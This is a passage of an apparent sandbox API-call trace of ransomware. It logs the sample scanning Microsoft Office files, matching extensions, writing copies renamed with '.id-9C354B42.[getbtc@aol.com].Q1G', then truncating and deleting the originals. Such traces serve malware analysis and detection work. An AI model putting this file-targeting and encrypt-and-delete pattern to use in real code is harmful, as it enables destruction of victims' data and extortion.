lpString2=".DLL") returned -1 [0254.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.159] lstrlenW (lpString=".1cd") returned 4 [0254.159] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0254.159] lstrlenW (lpString=".jpg") returned 4 [0254.159] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.160] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0254.160] lstrlenW (lpString="STSLISTI.DLL") returned 12 [0254.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.173] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=88464) returned 1 [0254.173] CloseHandle (hObject=0x3cc) returned 1 [0254.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll")) returned 0x20 [0254.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.176] lstrlenW (lpString=".doc") returned 4 [0254.176] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.176] lstrlenW (lpString=".docx") returned 5 [0254.176] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0254.176] lstrlenW (lpString=".pdf") returned 4 [0254.176] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.176] lstrlenW (lpString=".xls") returned 4 [0254.176] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.176] lstrlenW (lpString=".xlsx") returned 5 [0254.176] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0254.176] lstrlenW (lpString=".ppt") returned 4 [0254.176] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.176] lstrlenW (lpString=".zip") returned 4 [0254.176] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.177] lstrlenW (lpString=".rar") returned 4 [0254.177] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.177] lstrlenW (lpString=".bz2") returned 4 [0254.177] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.177] lstrlenW (lpString=".7z") returned 3 [0254.177] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.177] lstrlenW (lpString=".dbf") returned 4 [0254.177] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.177] lstrlenW (lpString=".1cd") returned 4 [0254.177] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.177] lstrlenW (lpString=".jpg") returned 4 [0254.177] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.177] lstrlenW (lpString=".doc") returned 4 [0254.177] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.177] lstrlenW (lpString=".docx") returned 5 [0254.177] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0254.177] lstrlenW (lpString=".pdf") returned 4 [0254.177] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.177] lstrlenW (lpString=".xls") returned 4 [0254.177] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.177] lstrlenW (lpString=".xlsx") returned 5 [0254.177] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0254.177] lstrlenW (lpString=".ppt") returned 4 [0254.177] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.177] lstrlenW (lpString=".zip") returned 4 [0254.177] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.177] lstrlenW (lpString=".rar") returned 4 [0254.177] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.177] lstrlenW (lpString=".bz2") returned 4 [0254.177] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.178] lstrlenW (lpString=".7z") returned 3 [0254.178] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.178] lstrlenW (lpString=".dbf") returned 4 [0254.178] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.178] lstrlenW (lpString=".1cd") returned 4 [0254.178] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0254.178] lstrlenW (lpString=".jpg") returned 4 [0254.178] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.178] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0254.178] lstrlenW (lpString="UML.VSL") returned 7 [0254.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.192] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=392584) returned 1 [0254.192] CloseHandle (hObject=0x3d4) returned 1 [0254.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl")) returned 0x20 [0254.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.192] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.192] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0254.193] GetLastError () returned 0x0 [0254.193] ReadFile (in: hFile=0x3d4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x5fd88, lpOverlapped=0x0) returned 1 [0254.214] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x5fd90, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x5fd90, lpOverlapped=0x0) returned 1 [0254.220] ReadFile (in: hFile=0x3d4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.221] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0254.221] SetEndOfFile (hFile=0x3d8) returned 1 [0254.221] CloseHandle (hObject=0x3d8) returned 1 [0254.221] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.221] SetEndOfFile (hFile=0x3d4) returned 1 [0254.230] CloseHandle (hObject=0x3d4) returned 1 [0254.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl")) returned 1 [0254.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.231] lstrlenW (lpString=".doc") returned 4 [0254.231] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0254.231] lstrlenW (lpString=".docx") returned 5 [0254.231] lstrcmpiW (lpString1=".docx", lpString2="L.VSL") returned -1 [0254.231] lstrlenW (lpString=".pdf") returned 4 [0254.231] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0254.231] lstrlenW (lpString=".xls") returned 4 [0254.231] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0254.231] lstrlenW (lpString=".xlsx") returned 5 [0254.231] lstrcmpiW (lpString1=".xlsx", lpString2="L.VSL") returned -1 [0254.231] lstrlenW (lpString=".ppt") returned 4 [0254.231] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0254.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.231] lstrlenW (lpString=".zip") returned 4 [0254.231] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0254.231] lstrlenW (lpString=".rar") returned 4 [0254.231] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0254.231] lstrlenW (lpString=".bz2") returned 4 [0254.231] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0254.231] lstrlenW (lpString=".7z") returned 3 [0254.231] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0254.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.231] lstrlenW (lpString=".dbf") returned 4 [0254.232] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0254.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.232] lstrlenW (lpString=".1cd") returned 4 [0254.232] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0254.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.232] lstrlenW (lpString=".jpg") returned 4 [0254.232] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0254.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.232] lstrlenW (lpString=".doc") returned 4 [0254.232] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0254.232] lstrlenW (lpString=".docx") returned 5 [0254.232] lstrcmpiW (lpString1=".docx", lpString2="L.VSL") returned -1 [0254.232] lstrlenW (lpString=".pdf") returned 4 [0254.232] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0254.232] lstrlenW (lpString=".xls") returned 4 [0254.232] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0254.232] lstrlenW (lpString=".xlsx") returned 5 [0254.232] lstrcmpiW (lpString1=".xlsx", lpString2="L.VSL") returned -1 [0254.232] lstrlenW (lpString=".ppt") returned 4 [0254.232] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0254.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.232] lstrlenW (lpString=".zip") returned 4 [0254.232] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0254.232] lstrlenW (lpString=".rar") returned 4 [0254.232] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0254.232] lstrlenW (lpString=".bz2") returned 4 [0254.232] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0254.232] lstrlenW (lpString=".7z") returned 3 [0254.232] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0254.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.232] lstrlenW (lpString=".dbf") returned 4 [0254.232] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0254.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.232] lstrlenW (lpString=".1cd") returned 4 [0254.232] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0254.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0254.233] lstrlenW (lpString=".jpg") returned 4 [0254.233] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0254.233] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0254.233] lstrlenW (lpString="UmOutlookStrings.dll") returned 20 [0254.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.233] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=61312) returned 1 [0254.233] CloseHandle (hObject=0x3d4) returned 1 [0254.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll")) returned 0x20 [0254.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.234] lstrlenW (lpString=".doc") returned 4 [0254.234] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.234] lstrlenW (lpString=".docx") returned 5 [0254.234] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0254.234] lstrlenW (lpString=".pdf") returned 4 [0254.234] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.234] lstrlenW (lpString=".xls") returned 4 [0254.234] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.234] lstrlenW (lpString=".xlsx") returned 5 [0254.234] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0254.234] lstrlenW (lpString=".ppt") returned 4 [0254.234] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.234] lstrlenW (lpString=".zip") returned 4 [0254.234] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.234] lstrlenW (lpString=".rar") returned 4 [0254.234] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.234] lstrlenW (lpString=".bz2") returned 4 [0254.234] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.234] lstrlenW (lpString=".7z") returned 3 [0254.234] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.234] lstrlenW (lpString=".dbf") returned 4 [0254.234] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.234] lstrlenW (lpString=".1cd") returned 4 [0254.234] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.235] lstrlenW (lpString=".jpg") returned 4 [0254.235] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.235] lstrlenW (lpString=".doc") returned 4 [0254.235] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.235] lstrlenW (lpString=".docx") returned 5 [0254.235] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0254.235] lstrlenW (lpString=".pdf") returned 4 [0254.235] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.235] lstrlenW (lpString=".xls") returned 4 [0254.235] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.235] lstrlenW (lpString=".xlsx") returned 5 [0254.235] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0254.235] lstrlenW (lpString=".ppt") returned 4 [0254.235] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.235] lstrlenW (lpString=".zip") returned 4 [0254.235] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.235] lstrlenW (lpString=".rar") returned 4 [0254.235] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.235] lstrlenW (lpString=".bz2") returned 4 [0254.235] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.235] lstrlenW (lpString=".7z") returned 3 [0254.235] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.235] lstrlenW (lpString=".dbf") returned 4 [0254.235] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.235] lstrlenW (lpString=".1cd") returned 4 [0254.235] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0254.235] lstrlenW (lpString=".jpg") returned 4 [0254.235] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.236] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0254.236] lstrlenW (lpString="VALVE.VRD") returned 9 [0254.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.490] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1868) returned 1 [0254.490] CloseHandle (hObject=0x200) returned 1 [0254.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd")) returned 0x20 [0254.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.529] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.529] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.529] GetLastError () returned 0x0 [0254.529] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x74c, lpOverlapped=0x0) returned 1 [0254.558] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x750, lpOverlapped=0x0) returned 1 [0254.559] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.559] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0254.559] SetEndOfFile (hFile=0x3dc) returned 1 [0254.560] CloseHandle (hObject=0x3dc) returned 1 [0254.560] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.560] SetEndOfFile (hFile=0x324) returned 1 [0254.562] CloseHandle (hObject=0x324) returned 1 [0254.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd")) returned 1 [0254.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.562] lstrlenW (lpString=".doc") returned 4 [0254.562] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0254.562] lstrlenW (lpString=".docx") returned 5 [0254.562] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0254.562] lstrlenW (lpString=".pdf") returned 4 [0254.563] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0254.563] lstrlenW (lpString=".xls") returned 4 [0254.563] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0254.563] lstrlenW (lpString=".xlsx") returned 5 [0254.563] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0254.563] lstrlenW (lpString=".ppt") returned 4 [0254.563] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0254.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.563] lstrlenW (lpString=".zip") returned 4 [0254.563] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0254.563] lstrlenW (lpString=".rar") returned 4 [0254.563] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0254.563] lstrlenW (lpString=".bz2") returned 4 [0254.563] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0254.563] lstrlenW (lpString=".7z") returned 3 [0254.563] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0254.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.563] lstrlenW (lpString=".dbf") returned 4 [0254.563] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0254.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.563] lstrlenW (lpString=".1cd") returned 4 [0254.563] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0254.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.563] lstrlenW (lpString=".jpg") returned 4 [0254.563] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0254.563] lstrlenW (lpString="C:\\Program Files\\Microsoft 